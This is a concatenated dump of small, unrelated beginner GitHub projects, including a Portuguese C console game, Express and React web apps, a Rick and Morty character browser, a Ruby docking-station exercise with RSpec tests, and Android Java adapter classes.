MoveWindow(hwnd ,150,50 ,590, 600, TRUE);
strcpy(jogador.categoria, "jogador");
strcpy(inimigo.categoria, "inimigo");
strcpy(inimigo2.categoria, "inimigo2");
do
{
direcao = 'z';
jogador = resetarPosicoes(jogador, fase);
inimigo = resetarPosicoes(inimigo, fase);
if(fase == 3)
inimigo2 = resetarPosicoes(inimigo2, fase);
else
{
inimigo2.linha = 99; // apenas para retirar o inimigo2 de jogo nas rodadas 1 e 2
inimigo2.coluna = 99;
}
montarCenario(fase, cenario, jogador);
qtdAneis = gerarAneis(cenario, fase);
system("cls");
printf("\n\tFase %d", fase);
printf("\t\t\t\t Aneis restantes: %d",qtdAneis);
mostrarJogo(cenario, jogador, inimigo, inimigo2);
do
{
if(wasTouched(jogador, inimigo, inimigo2)) // se o inimigo tocar no jogador o jogo termina
break;
if(cenario[jogador.linha][jogador.coluna] == 'a') // Retirar as Aneis apรยณs captura
{
qtdAneis--;
cenario[jogador.linha][jogador.coluna] = '0';
moverCursor(2,59, false);
printf("%d ",qtdAneis);
}
if(flag) // mostra denovo a Anel que o inimigo passou por cima
{
moverCursor(posAnel[0], posAnel[1], true);
printf(AMARELO "o" CINZA);
}
if(cenario[inimigo.linha][inimigo.coluna] == 'a') // se o inimigo passar por cima da Anel ela nao desaparece
{
flag = true;
posAnel[0] = inimigo.linha;
posAnel[1] = inimigo.coluna;
}
else
flag = false;
if(fase == 3)
{
if(flag2) // mostra denovo a Anel que o inimigo passou por cima
{
moverCursor(posAnel2[0], posAnel2[1], true);
printf(AMARELO "o" CINZA);
}
if(cenario[inimigo2.linha][inimigo2.coluna] == 'a') // se o inimigo passar por cima da Anel ela nao desaparece
{
flag2 = true;
posAnel2[0] = inimigo2.linha;
posAnel2[1] = inimigo2.coluna;
}
else
flag2 = false;
}
if(cenario[jogador.linha][jogador.coluna] == 't') // movimentao apos teletransporte. valido apenas para fase 3
(jogador.linha < 5) ? direcao = 'w' : direcao = 'a'; // identificar qual a porta de teletransporte
jogador = acaoJogador(direcao, jogador, cenario, &gelo); // atualizar posicao do jogador
if(!gelo)
inimigo = acaoInimigo(inimigo, jogador, cenario, fase); // atualizar posicao do inimigo
if(fase == 3 && !gelo)
inimigo2 = acaoInimigo(inimigo2, jogador, cenario, fase); // atualizar posicao do segundo inimigo
if(kbhit())
{
direcao = getch(); // pegar tecla digitada do usuรยกrio
if(direcao == 27) // se o usuario deigitar ESC o jogo volta ao menu
{
moverCursor(1,1,false); // so pra melhorar a transicao da troca de tela
return fase;
}
}
if(gelo) // se o inimigo estiver comgelado, tem que ser contado o tempo de congelamento
{
tempo++;
moverCursor(inimigo.linha,inimigo.coluna,true);
printf(CIANO "%c%c" CINZA,178,178);
if(fase == 3)
{
moverCursor(inimigo2.linha,inimigo2.coluna,true);
printf(CIANO "%c%c" CINZA,178,178);
}
moverCursor(2, 18, false);
printf(CIANO "# Inimigo Congelado #" CINZA);
moverCursor(25, 0,true);
}
if(tempo == 25) // 20 eh o tempo de congelamento, quando chegar nele o inimigo descongela
{
moverCursor(2, 18, false);
printf(" ");
moverCursor(25, 0,true);
gelo = false;
tempo = 0;
}
Sleep(ESPERA);
}while(qtdAneis > 0);
putchar('\a');
moverCursor(32, 9, false);
if(qtdAneis > 0)
animacaoDerrota();
else
{
animacaoVitoria(fase);
fase++;
if(fase == 4)
{
system("cls");
printf("Parabens !!!");
printf("Voce zerou o jogo :)\n");
fase = 1;
}
}
printf("Deseja continuar jogando? (S/N): ");
do
{
direcao = getch(); // aproveitamento de variaveis
}while(direcao != 's' && direcao != 'n' && direcao != 'S' && direcao != 'N'); // somente sai do laco se usuario digitar opcoes validas
switch(direcao)
{
case 'S':
continuarJogo = true;
break;
case 's':
continuarJogo = true;
break;
case 'N':
continuarJogo = false;
break;
case 'n':
continuarJogo = false;
}
}while(continuarJogo);
system("cls");
printf("Obigado por jogar :)\nDesenvolvido por Yure Matias\n\n");
Sleep(2000);
return fase;
}
void creditos()
{
system("cls");
printf("CREDITOS:\n");
printf("\n Esse jogo foi desenvolvido por Yure Matias de Oliveira"
"\n como trabalho da terceira unidade da disciplina de logica"
"\n computacional e algoritmos ofertada pela professora"
"\n Laura Emmanoela Alves dos Santos Santana de Oliveira, no"
"\n curso de tecnologo em Analise e Desenvolvimento de Sistemas"
"\n da Universidade Federal do Rio Grande do Norte(UFRN) campus"
"\n de Macaiba, onde se situa a Escola Agricola de Jundiai(EAJ).");
printf("\n\n Acesse: ");
printf(AZUL "https://github.com/Yurematias/Ringo-Game" CINZA);
printf("\n\nPressione ESC para voltar");
while(getch() != 27); // 27 eh o numero correspondente ao ESC da tabela ASCII
}
void manual()
{
system("cls");
printf("CONTROLES:\n");
printf("\n W - Cima\n S - Baixo\n D - Direita\n A - Esquerda");
printf("\n Setas - Movimentacao com um maior controle");
printf("\n ESC - Voltar ao menu");
printf("\n\nOBJETIVO:\n");
printf("\n Capture todas as moedas\n para ir para o proximo nivel.\n Nao seja pego pelo inimigo.");
printf("\n\nLEGENDA:\n");
printf("\n * Jogador: %c",254);
printf("\n * Inimigo: " VERMELHO);
printf("%c" CINZA, 254);
printf("\n * Aneis: " AMARELO);
printf("o" CINZA);
printf("\n * Congelar Inimigo : " CIANO);
printf("#" CINZA);
printf("\n * Teletransporte: " ROXO);
printf("%c\n\n" CINZA,178);
printf(" Pressione ESC para voltar");
while(getch() != 27); // 27 eh o numero correspondente ao ESC da tabela ASCII
}
void mostrarMenu(char opcao)
{
printf("\n\n\n\t\t ");
printf("%s",(opcao == 1) ? FUNDOBRANCO PRETO " INICIAR JOGO " FUNDOPRETO CINZA " <<=" : " INICIAR JOGO ");
printf("\n\n\t\t ");
printf("%s",(opcao == 2) ? FUNDOBRANCO PRETO " MANUAL " FUNDOPRETO CINZA " <<=" : " MANUAL ");
printf("\n\n\t\t ");
printf("%s",(opcao == 3) ? FUNDOBRANCO PRETO " CREDITOS " FUNDOPRETO CINZA " <<=" : " CREDITOS ");
printf("\n\n\t\t ");
printf("%s",(opcao == 4) ? FUNDOBRANCO PRETO " SAIR " FUNDOPRETO CINZA " <<=" : " SAIR ");
printf("\n\n\n\n\t\t ");
}
```
|
yuriamana/set-up-app-configuration
|
yuriamana/set-up-app-configuration
routes.js
```// const required to use express
const express = require('express');
// set a new express router to use in the app.js file
const router = new express.Router();
// calls the catModel from the models folder
const catModel = require('./../models/Cat.js');
// creates the controller for the all-cats.hbs page
const catController = (req, res, render) => {
// logic goes here
// render the elements of the page
res.render("all-cats.hbs", {
// render different alements if needed
})
}
// route for the index page
router.get("/", ((req, res, next) => {
res.render("index.hbs");
}));
// route for the all-cat page
router.get("/all-cats", catController);```
|
yuricronx/Prueba
|
yuricronx/Prueba
README.md
```"#Prueba"
"# Prueba"
"# Prueba"
"# la clase de taller fue muy clara" ```
|
yuridevops/Ultra-ReactStyledReact
|
yuridevops/Ultra-ReactStyledReact
Data.ts
```const svg1 = require("../../images/svg1.svg").default as string;
const svg2 = require("../../images/svg2.svg").default as string;
const svg3 = require("../../images/svg3.svg").default as string;
const svg4 = require("../../images/svg4.svg").default as string;
export const homeObjOne = {
lightBg: false,
lightTopLine: true,
primary: true,
lightText: true,
lightTextDesc: true,
imgStart: true,
buttonLabel: 'Get Started',
description: `We help business owners increase
their revenue. Our team of unique specialist
can help you achive yout business goals.`,
topLine: 'Marketing Agency',
headLine: 'Lead Generation Specialist for Online Business',
img: svg1,
alt: 'Image',
}
export const homeObjTwo = {
lightBg: true,
lightTopLine: true,
primary: false,
lightText: false,
lightTextDesc: false,
imgStart: false,
buttonLabel: 'Get Started',
description: `We help business owners increase
their revenue. Our team of unique specialist
can help you achive yout business goals.`,
topLine: 'Marketing Agency',
headLine: 'Lead Generation Specialist for Online Business',
img: svg2,
alt: 'Image',
}
export const homeObjThree = {
lightBg: false,
lightTopLine: true,
primary: true,
lightText: true,
lightTextDesc: true,
imgStart: true,
buttonLabel: 'Get Started',
description: `We help business owners increase
their revenue. Our team of unique specialist
can help you achive yout business goals.`,
topLine: 'Marketing Agency',
headLine: 'Lead Generation Specialist for Online Business',
img: svg3,
alt: 'Image',
}
export const homeObjFour = {
lightBg: true,
lightTopLine: true,
primary: false,
lightText: false,
lightTextDesc: false,
imgStart: false,
buttonLabel: 'Get Started',
description: `We help business owners increase
their revenue. Our team of unique specialist
can help you achive yout business goals.`,
topLine: 'Marketing Agency',
headLine: 'Lead Generation Specialist for Online Business',
img: svg4,
alt: 'Image',
}
```
infoSection.elements.ts
```import styled from 'styled-components'
interface InfoSecProps {
lightBg?: boolean
}
interface InfoRowProps {
imgStart?: boolean;
}
interface TopLineProps {
lightTopLine?: boolean;
}
interface HeadingProps {
lightText?: boolean;
}
interface SubtitleProps {
lightTextDesc?: boolean;
}
interface ImgWrapperProps {
start?: boolean;
}
export const InfoSec = styled.div<InfoSecProps>`
color: #fff;
padding: 160px 0;
background: ${props => props.lightBg ? '#fff' : '#101522'};
`
export const InfoRow = styled.div<InfoRowProps>`
display: flex;
margin: 0 -15px -15px -15px;
flex-wrap: wrap;
align-items: center;
flex-direction: ${props => props.imgStart ? 'row-reverse' : 'row'};
`
export const InfoColumn = styled.div`
margin-bottom: 15px;
padding-right: 15px;
padding-left: 15px;
flex: 1;
max-width: 50%;
flex-basis: 50%;
@media screen and (max-width: 768px){
max-width: 100%;
flex-basis: 100%;
display: flex;
justify-content: center;
}
`
export const TextWrapper = styled.div`
max-width: 540px;
padding-top: 0;
padding-bottom: 60px;
@media screen and (max-width: 768px){
padding-bottom: 65px;
}
`
export const TopLine = styled.div<TopLineProps>`
color: ${props => props.lightTopLine ? '#a9b3c1' : '#4b59f7'};
font-size: 18px;
line-height: 16px;
letter-spacing: 1.4px;
margin-bottom: 16px;
`
export const Heading = styled.h1<HeadingProps>`
margin-bottom: 24px;
font-size: 48px;
line-height: 1.1;
color: ${props => props.lightText ? '#f7f8fa' : '#1c2237'};
`
export const Subtitle = styled.p<SubtitleProps>`
max-width: 440px;
margin-bottom: 35px;
font-size: 18px;
line-height: 24px;
color: ${props => props.lightTextDesc ? '#a9b3c1' : '#1c2237'};
`
export const ImgWrapper = styled.div<ImgWrapperProps>`
max-width: 555px;
display: flex;
justify-content: ${props => props.start ? 'flex-start' : 'flex-end'};
`
export const Img = styled.img`
padding-right: 0;
border: 0;
max-width: 100%;
vertical-align: middle;
display: inline-block;
max-height: 500px;
`
```
index.ts
```export { default as Navbar } from './Navbar/Navbar'
export { default as InfoSection } from './InfoSection/InfoSection'
export { default as Footer } from './Footer/Footer'
export { default as ScrollToTop } from './ScrollToTop'```
|
yurii-lubynets/bount
|
yurii-lubynets/bount
README.md
```# Bount
Simple to-do lists are great for keeping track of tasks you need to accomplish. But if youโre working with a team where tasks have sub-tasks that have sub-sub-tasks and more, thatโs where you especially need a project management software. Project management apps, even simple ones like Trello, can break your project down into achievable steps and give your team a more manageable workflow.
### Installing
``` bash
# install dependencies
npm install
# serve with hot reload at localhost:8080
npm run dev
# build for production with minification
npm run build
# build for production and view the bundle analyzer report
npm run build --report
```
### Code
Bount has a standard architectural layering of: server side APIs with a JavaScript client on the front-end. The backend mainly serves up data through RESTful, link-based APIs. The front-end, in addition to `React`, uses `Redux` to manage application state and `Redux-thunk` to deal with asynchronous actions, primarily data fetching.
<br><br>
All app code is located in `src` folder.<br>
The `action` folder contains all Redux Actions.<br>
The `components` folder keeps all reusable components and app pages.<br>
The Reducers in the folder `reducers` specify how the application's state changes in response to actions sent to the store.<br>```
App.js
```import React, { PureComponent } from "react";
import Routes from "../routes";
import Chat from "./Chat";
class App extends PureComponent {
render() {
return (
<div>
<Routes />
<Chat />
</div>
)
}
}
export default App;
```
|
yuriipopovych/jshw1task2
|
yuriipopovych/jshw1task2
script.js
```function recFunc (a) {
if (a > 0) {
console.log( a );
return recFunc (a-1);
}
}
recFunc(10);
var teXt = "conversely:";
console.log(teXt);
function recFunc2 (b) {
if (b <= 10) {
console.log( b );
return recFunc2 (b+1);
}
}
recFunc2(1);```
|
yuriko-mm/yuriko-mm.github.io
|
yuriko-mm/yuriko-mm.github.io
README.md
```# yuriko-mm.github.io```
|
yurireeis/hubot-natural
|
yurireeis/hubot-natural
README.md
```# Hubot Natural Language ChatBot
## How it Works
### YAML corpus
### Logistic Regression Classifier
#### PorterStemmer
### Coffee Classes
## Deploy with Hubot
## Hubot Adapters
[hubot-adapters]: https://github.com/github/hubot/blob/master/docs/adapters.md
## Thanks to
### Natural Node Project
### Digital Ocean's Heartbot
```
|
yuriss123/yuriss123.github.io
|
yuriss123/yuriss123.github.io
README.md
```# yuriss123.github.io
ะกะฐะนัั
```
|
yuritalinda/SCL017-data-lovers
|
yuritalinda/SCL017-data-lovers
data.js
```import data from './data/rickandmorty/rickandmorty.js';
let personajes = data.results; //Esto es un array de objetos
const datosRyM= {
arrayQueMuestraTodos: function () {
let arrayPersonajes= [];
for (let i=0 ; i < personajes.length ; i++){
arrayPersonajes.push(personajes[i]);
}
return arrayPersonajes;
},
//funciรณn que debe filtrar por nombre de input y devolver un array con todos los match
filterByName : function(catchInput) {
const nombreInput = catchInput.toLowerCase();
const arrayNombres = [];
//iteramos cada elemento y se comparรณ con el nombre ingresado, devuelve array de nombres que coinciden
for (let i=0 ; i< personajes.length; i++){
if (personajes[i].name.toLowerCase().includes(nombreInput)){
arrayNombres.push(personajes[i]);
}
}
return arrayNombres;
},
//funciรณn para ordenar A - Z
ordenAZ : function (arrayOrden) {
let dataEnter = (arrayOrden != undefined && arrayOrden.length > 0) ? arrayOrden : data.results;
return dataEnter.sort(function(a, b) {
if (a.name > b.name) {
return 1;
}
if (a.name < b.name) {
return -1;
}
return 0;
});
},
// Funciรณn ordenar Z -A
ordenZA : function (arrayOrden) {
let dataEnter = (arrayOrden != undefined && arrayOrden.length > 0) ? arrayOrden : data.results;
return dataEnter.sort(function(a, b) {
if (a.name < b.name) {
return 1;
}
if (a.name > b.name) {
return -1;
}
return 0;
});
},
};
export default datosRyM;
```
main.js
```import datosRyM from './data.js';
console.log(datosRyM); //console log que nos dice los metodos de DATA.JS
//Variables, constantes y atrapadas de elementos
const lupa = document.getElementById("search");
const arrayTodos = datosRyM.arrayQueMuestraTodos();
const main = document.getElementById("main-container");
let selectInput = document.getElementById("filtro");
let arrayOrden;
//////////eventos////////////
window.addEventListener("load" , ()=>{ //funciรณn para disparar todos los bichos en el main
mostrarBichosMain(arrayTodos);
} );
lupa.addEventListener("click", filtraNombre);
selectInput.addEventListener("change", ()=> { //Funciรณn para disparar mรกs de un evento
const value = selectInput.options[selectInput.selectedIndex].value;
switch (value) {
case 'A-Z' : ordenAZ();
break;
case 'Z-A' : ordenZA();
break;
case '...' :
main.innerHTML="";
mostrarBichosMain(arrayTodos);
break;
}
})
//////////////////funciones////////////////
function mostrarBichosMain(arrayTodos) {
for(let i = 0 ; i< arrayTodos.length; i++){
const container = document.createElement("div")
container.className= "container";
const fichasContainer = document.createElement("div")
fichasContainer.className = "fichasContainer";
container.appendChild(fichasContainer);
const img = document.createElement("img")
img.src = arrayTodos[i].image;
img.className = "imagen-ficha-main";
fichasContainer.appendChild(img);
container.appendChild(fichasContainer)
const name = document.createElement("h1")
name.className = "nombreFichaMain";
const nameText = document.createTextNode(arrayTodos[i].name);
name.appendChild(nameText);
fichasContainer.appendChild(name);
container.appendChild(fichasContainer);
document.getElementById("main-container").appendChild(container);
}
openModal(arrayTodos);
console.log(main);
}
function openModal(array){
let clickPersonajes = document.getElementsByClassName("fichasContainer");
let modalPersonajes = document.getElementById("modal-container");
modalPersonajes.style.display= "none";
for(let i=0; i<clickPersonajes.length; i++){
let clickFicha = clickPersonajes[i];
clickFicha.addEventListener("click" , ()=>{
modalPersonajes.style.display= "block";
modalPersonajes.innerHTML +=
`<div class="fichaModal">
<div id="contenedorInfo" class="info">
<img class="imgModal" src=${array[i].image}>
<div class="infoPersonajeModal">
<h1 class="name">${array[i].name}</h1>
<h2 class="species">${array[i].species} - ${array[i].status}</h2>
<div class="modalOrigin">
<p class="titleModal">Dรณnde vive</p>
<div class="origin">${array[i].origin.name}</div>
</div>
<div class="modalEpisode">
<p class="titleModal">Episodios donde aparece</p>
<div class="episode">${array[i].episode.length}</div>
</div>
</div>
</div>
<div class="close"><span class="closeModal">×</span></div>
</div>`;
let closeModal = document.getElementsByClassName("closeModal")[0];
closeModal.addEventListener("click",()=>{
modalPersonajes.style.display= "none";
modalPersonajes.innerHTML = "";
});
});
}
}
function filtraNombre(){
let catchInput = (document.getElementById("input-search").value);
let arrayNombres = datosRyM.filterByName(catchInput);
console.log(arrayNombres);
if(arrayNombres.length === 0){
console.log("El objeto estรก vacรญo");
//Hacer mensaje de error dinรกmico
}
main.innerHTML = "";
mostrarBichosMain(arrayNombres);
}
function ordenAZ() {
arrayOrden = datosRyM.ordenAZ(arrayOrden);
main.innerHTML = "";
mostrarBichosMain(arrayOrden);
console.log('esta funcionando la funcion de opcion AZ');
}
function ordenZA() {
arrayOrden = datosRyM.ordenZA(arrayOrden);
main.innerHTML = "";
mostrarBichosMain(arrayOrden);
console.log('esta funcionando la funcion de opcion ZA');
}
```
README.md
```๏ปฟ# Proyecto Data Lovers Rick y Morty
## รndice
* 1. Preรกmbulo
* 2. Definiciรณn del producto
* 3. Definiciรณn del usuario
* 4. Etapa de diseรฑo
* 5. Historias de usuario
* 6. Diseรฑo Final
***
## 1. Preรกmbulo
[Rick y Morty](https://es.wikipedia.org/wiki/Rick-y-Morty), es una serie de animaciรณn estadounidense para adultos creada por Justin Roiland y Dan Harmon en 2013. Hasta ahora cuenta, con 4 temporadas y 41 episodios, la serie sigue las desventuras de un cientรญfico, Rick Sanchez, y su influenciable nieto, Morty Smith, quienes pasan el tiempo entre la vida domรฉstica y los viajes espaciales, temporales e intergalรกcticos.
Despuรฉs de haber estado desaparecido durante casi 20 aรฑos, Rick Sรกnchez llega de imprevisto a la puerta de la casa de su hija Beth y se va a vivir con ella y su familia utilizando el garaje como su laboratorio personal.
## 2. Definicion del Producto
El objetivo de nuestro producto es que los usuarios logren identificar de forma rรกpida y eficaz los personajes que aparecen en la serie.
La aplicaciรณn que creamos entrega la facilidad de poder filtrar por categorรญas: por nombre, por lugar de origen y alfabรฉticamente (A hasta la Z o viceversa),. Ademรกs cuenta con un buscador, para que los usuarios escriban los datos de los personajes que quieran ver.
El producto tiene la caracterรญstica de ser responsiva, por lo tanto, esta diseรฑada para funcionar de forma optima en dispositivos como celulares, tablets, etc.
## 3. Definicion del usuario
Los usuarios objetivos del producto son espectadores que ya conocen la serie (con un rango etario de entre 25 y 40 aรฑos mรกs o menos). Estos usuarios ya conocen la serie y a todos los personajes principales y secundarios que aparecen en la serie a lo largo de las 4 temporadas. Nuestra web otorgara a los fanaticos y no tanto diversion e informacion sobre todos los personajes, ya que cuenta con filtros de bรบsqueda para conocer todos los datos relevantes y sabosos. Asรญ, los usuarios podrรกn tener acceso a todos sus personajes favoritos de la serie.
## 4. Etapa de diseรฑo
El proceso de diseรฑo del producto siguiรณ la siguiente planeaciรณn:
Primero se conversรณ acerca de las historias de usuarios que usariamos como base para el diseรฑo de nuestro producto.
Luego de llegar a un acuerdo y en base a una lluviacantidad de ideas, creamos entre las tres el primer prototipo en papel, y definimos cรณmo serรญan los elementos de la pรกgina (tamaรฑos y formas) y cรณmo estos se pondrian en el producto.
Asรญ, al tener ya un diseรฑo definido, acordamos traspasar los bocetos en papel a nuestro prototipo de alta fidelidad en Figma,finalmente, luego de ajustar unos detalles, se realizรณ el boceto final en Figma con los colores, imรกgenes y texto finales.
## Bocetos en papel


## Historias de usuario

## Resultado diseรฑo final

```
data.spec.js
```import datosRyM from '../src/data';
describe('filterByName', () => {
it('is a function', () => {
expect(typeof datosRyM.filterByName).toBe('function');
});
it.skip('returns the correct character(s)', () => {
// Arrange
// Preparar los datos de entrada y lo que esperamos de vuelta de la funciรณn
// Act
// Ejecutar la funciรณn, atrapando el valor de retorno
// Assert
// Comparar el valor de retorno de la funciรณn con el valor esperado inicializado en la etapa de Arrange
});
});
describe('ordenAZ', () => {
it('is a function', () => {
expect(typeof datosRyM.ordenAZ).toBe('function');
});
it.skip('returns `datosRyM.ordenAZ`', () => {
expect(datosRyM.ordenAZ()).toBe('OMG');
});
});
describe('ordenZA', () => {
it('is a function', () => {
expect(typeof datosRyM.ordenZA).toBe('function');
});
it.skip('returns `datosRyM.ordenZA`', () => {
expect(datosRyM.ordenZA()).toBe('OMG');
});
});```
|
yurizhuravel/london-bikes
|
yurizhuravel/london-bikes
docking_station.rb
```require_relative 'bike'
class DockingStation
DEFAULT_CAPACITY = 20
attr_reader :bike, :bikes
attr_accessor :capacity
def initialize(capacity=DEFAULT_CAPACITY)
@bikes = []
@capacity = capacity
end
def release_bike
fail 'No bikes available' if station_empty
@bikes.pop
end
def dock(bike)
fail 'Docking station full' if station_full
@bikes << bike
end
private
def station_full
@bikes.length >= @capacity
end
def station_empty
@bikes.empty?
end
end
```
docking_station_spec.rb
```require "docking_station"
describe DockingStation do
it {is_expected.to respond_to(:release_bike)}
it 'releases working bikes' do
bike = Bike.new
expect(bike).to be_working
end
it {is_expected.to respond_to(:dock).with(1).argument}
it {is_expected.to respond_to(:bike)}
it 'docks bikes' do
bike = Bike.new
expect(subject.dock(bike)).to eq [bike]
end
it 'returns docked bikes' do
bike = Bike.new
subject.dock(bike)
expect(subject.bikes).to eq [bike]
end
it 'releases bikes' do
bike = Bike.new
subject.dock(bike)
expect(subject.release_bike).to eq bike
end
describe "#release_bike" do
it 'raises an error when there are no bikes available' do
#we are not docking a bike first now
#subject is DockingStation.new
expect {subject.release_bike}.to raise_error 'No bikes available'
end
end
describe "#dock" do
it 'raises an error when full' do
DockingStation::DEFAULT_CAPACITY.times {subject.dock(Bike.new)}
expect {subject.dock (Bike.new)}.to raise_error 'Docking station full'
end
end
it 'has a default capacity' do
expect(subject.capacity).to eq DockingStation::DEFAULT_CAPACITY
end
describe 'station_initialization' do
subject {DockingStation.new}
let (:bike) {Bike.new}
it 'defaults capacity' do
described_class::DEFAULT_CAPACITY.times do
subject.dock(bike)
end
expect { subject.dock(bike) }.to raise_error 'Docking station full'
end
end
end
```
|
yusaislam48/rest-countries-router
|
yusaislam48/rest-countries-router
App.js
```import './App.css';
import Home from './Components/Home/Home';
import {
BrowserRouter as Router,
Switch,
Route,
// Link
} from "react-router-dom";
import NotFount from './Components/NotFound/NotFount';
import CountryDetails from './Components/CountryDetails/CountryDetails';
import Header from './Components/Header/Header';
function App() {
return (
<div>
<Header></Header>
<Router>
<Switch>
<Route path="/home">
<Home></Home>
</Route>
<Route path="/country/:countryName">
<CountryDetails></CountryDetails>
</Route>
<Route exact path="/">
<Home></Home>
</Route>
<Route path="*">
<NotFount/>
</Route>
</Switch>
</Router>
</div>
);
}
export default App;
```
Home.js
```import Countries from '../Countries/Countries';
import Loading from '../Loading/Loading';
const Home = () => {
return (
<div>
<Countries></Countries>
{/* <Loading></Loading> */}
</div>
);
};
export default Home;```
Country.js
```import React from 'react';
import { makeStyles } from '@material-ui/core/styles';
import Card from '@material-ui/core/Card';
import CardActionArea from '@material-ui/core/CardActionArea';
import CardActions from '@material-ui/core/CardActions';
import CardContent from '@material-ui/core/CardContent';
import CardMedia from '@material-ui/core/CardMedia';
import Button from '@material-ui/core/Button';
import Typography from '@material-ui/core/Typography';
import Box from '@material-ui/core/Box';
import { Link, useHistory } from 'react-router-dom';
const useStyles = makeStyles({
root: {
maxWidth: 345,
},
media: {
height: 140,
},
});
const Country = (props) => {
const {name, flag} = props.country;
const history = useHistory();
const clickHandler = (name) =>{
history.push(`/country/${name}`);
}
const classes = useStyles();
return (
<div className='col-md-3'>
<Box
display="flex"
flexWrap="wrap"
p={1}
m={1}
bgcolor="background.paper"
css={{ maxWidth: 300 }}
>
<Card className={classes.root}>
{/* <Link to={`/country/${name}`}> */}
<CardActionArea onClick={()=>clickHandler(name)}>
<CardMedia
className={classes.media}
image={flag}
title="Contemplative Reptile"
/>
<CardContent>
<Typography gutterBottom variant="h5" component="h2">
{name}
</Typography>
<Typography variant="body2" color="textSecondary" component="p">
Lorem ipsum dolor sit amet consectetur, adipisicing elit. Laborum, officia? Consequatur delectus veniam quaerat nobis ipsa aliquam totam velit id?
</Typography>
</CardContent>
</CardActionArea>
{/* </Link> */}
<CardActions>
<Button size="small" color="primary">
Share
</Button>
<Link to={`/country/${name}`}>
<Button size="small" color="primary">
Learn More
</Button>
</Link>
</CardActions>
</Card>
</Box>
</div>
);
};
export default Country;```
CountryDetails.js
```import { CircularProgress } from '@material-ui/core';
import React, { useEffect, useState } from 'react';
import { useParams } from 'react-router';
const CountryDetails = () => {
document.title = "Country Details"
const {countryName} = useParams();
const [country, setCountry] = useState([]);
const[loading, setLoading] = useState(true);
useEffect(()=>{
const url = `https://restcountries.eu/rest/v2/name/${countryName}`;
fetch(url)
.then(res => res.json())
.then(data => {
setCountry(data[0]);
setLoading(false);
})
}, [countryName]);
const {name, population, region, subregion, capital, flag} = country;
return (
<div>
{
loading
? <CircularProgress />
: <div className='d-flex justify-content-center align-items-center p-5'>
<div className="card" style={{width: "18rem"}}>
<img src={flag} className="card-img-top" alt="..." />
<div className="card-body">
<h5 className="card-title">{name}</h5>
<p className="card-text">Population: {population}</p>
<p className="card-text">region: {region}</p>
<p className="card-text">subregion: {subregion}</p>
<p className="card-text">capital: {capital}</p>
<a href="/" className="btn btn-primary">Back</a>
</div>
</div>
</div>
}
</div>
);
};
export default CountryDetails;```
|
yussel53/Logo_Efat
|
yussel53/Logo_Efat
README.md
```# Logo_Efat
Logo_Efat
```
|
yusufadhiyaksa/borstel
|
yusufadhiyaksa/borstel
GetJasaProduk.java
```package com.example.borstel;
import java.util.List;
import com.google.gson.annotations.Expose;
import com.google.gson.annotations.SerializedName;
public class GetJasaProduk {
@SerializedName("jasa")
@Expose
private List<ModelJasa> jasa = null;
@SerializedName("produk")
@Expose
private List<ModelProduk> produk = null;
@SerializedName("status")
@Expose
private String status;
public List<ModelJasa> getJasa() {
return jasa;
}
public void setJasa(List<ModelJasa> jasa) {
this.jasa = jasa;
}
public List<ModelProduk> getProduk() {
return produk;
}
public void setProduk(List<ModelProduk> produk) {
this.produk = produk;
}
public String getStatus() {
return status;
}
public void setStatus(String status) {
this.status = status;
}
}```
ModelProduk.java
```package com.example.borstel;
import com.google.gson.annotations.Expose;
import com.google.gson.annotations.SerializedName;
public class ModelProduk {
@SerializedName("produk_id")
@Expose
private String produkId;
@SerializedName("produk_nama")
@Expose
private String produkNama;
@SerializedName("produk_desc")
@Expose
private String produkDesc;
@SerializedName("produk_gambar")
@Expose
private String produkGambar;
@SerializedName("produk_harga")
@Expose
private String produkHarga;
public String getProdukId() {
return produkId;
}
public void setProdukId(String produkId) {
this.produkId = produkId;
}
public String getProdukNama() {
return produkNama;
}
public void setProdukNama(String produkNama) {
this.produkNama = produkNama;
}
public String getProdukDesc() {
return produkDesc;
}
public void setProdukDesc(String produkDesc) {
this.produkDesc = produkDesc;
}
public String getProdukGambar() {
return produkGambar;
}
public void setProdukGambar(String produkGambar) {
this.produkGambar = produkGambar;
}
public String getProdukHarga() {
return produkHarga;
}
public void setProdukHarga(String produkHarga) {
this.produkHarga = produkHarga;
}
}```
RecyclerViewAdapter.java
```package com.example.borstel;
import android.content.Context;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;
import android.widget.ImageView;
import android.widget.TextView;
import androidx.annotation.NonNull;
import androidx.cardview.widget.CardView;
import androidx.recyclerview.widget.RecyclerView;
import com.bumptech.glide.Glide;
import java.util.List;
public class RecyclerViewAdapter extends RecyclerView.Adapter<RecyclerViewAdapter.MyViewHolder> {
Context mContext2 ;
private List<ModelProduk> mData2;
public RecyclerViewAdapter(Context mContext2, List<ModelProduk> mData2) {
this.mContext2 = mContext2;
this.mData2 = mData2;
}
@Override
public MyViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) {
View view ;
view = LayoutInflater.from(mContext2).inflate(R.layout.cardview_produk,parent,false);
MyViewHolder vHld = new MyViewHolder(view);
return vHld;
}
@Override
public void onBindViewHolder(@NonNull MyViewHolder holder, int position) {
holder.tv_produk_title.setText(mData2.get(position).getProdukNama());
ImageView img = ((MyViewHolder) holder).img_produk_thumbnail;
Glide.with(holder.itemView.getContext())
// LOAD URL DARI INTERNET
.load(mData2.get(position).getProdukGambar())
// LOAD GAMBAR AWAL SEBELUM GAMBAR UTAMA MUNCUL, BISA DARI LOKAL DAN INTERNET
.placeholder(R.drawable.bors_logo)
//. LOAD GAMBAR SAAT TERJADI KESALAHAN MEMUAT GMBR UTAMA
.error(R.drawable.ic_error_black_24dp)
.into(holder.img_produk_thumbnail);
}
@Override
public int getItemCount() {
return mData2.size();
}
public static class MyViewHolder extends RecyclerView.ViewHolder {
private TextView tv_produk_title;
private ImageView img_produk_thumbnail;
private CardView cardView;
public MyViewHolder(View itemView) {
super(itemView);
tv_produk_title = (TextView) itemView.findViewById(R.id.produk_title);
img_produk_thumbnail = (ImageView) itemView.findViewById((R.id.produk_img));
cardView = (CardView) itemView.findViewById(R.id.cardview_id);
}
}
}
```
FragmentBors.java
```package com.example.borstel;
import android.os.Bundle;
import androidx.fragment.app.Fragment;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
public class FragmentBors extends Fragment {
public FragmentBors() {
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
return inflater.inflate(R.layout.fragment_bors, container, false);
}
}
```
RecyclerViewAdapterJasa.java
```package com.example.borstel;
import android.app.Dialog;
import android.content.Context;
import android.content.Intent;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
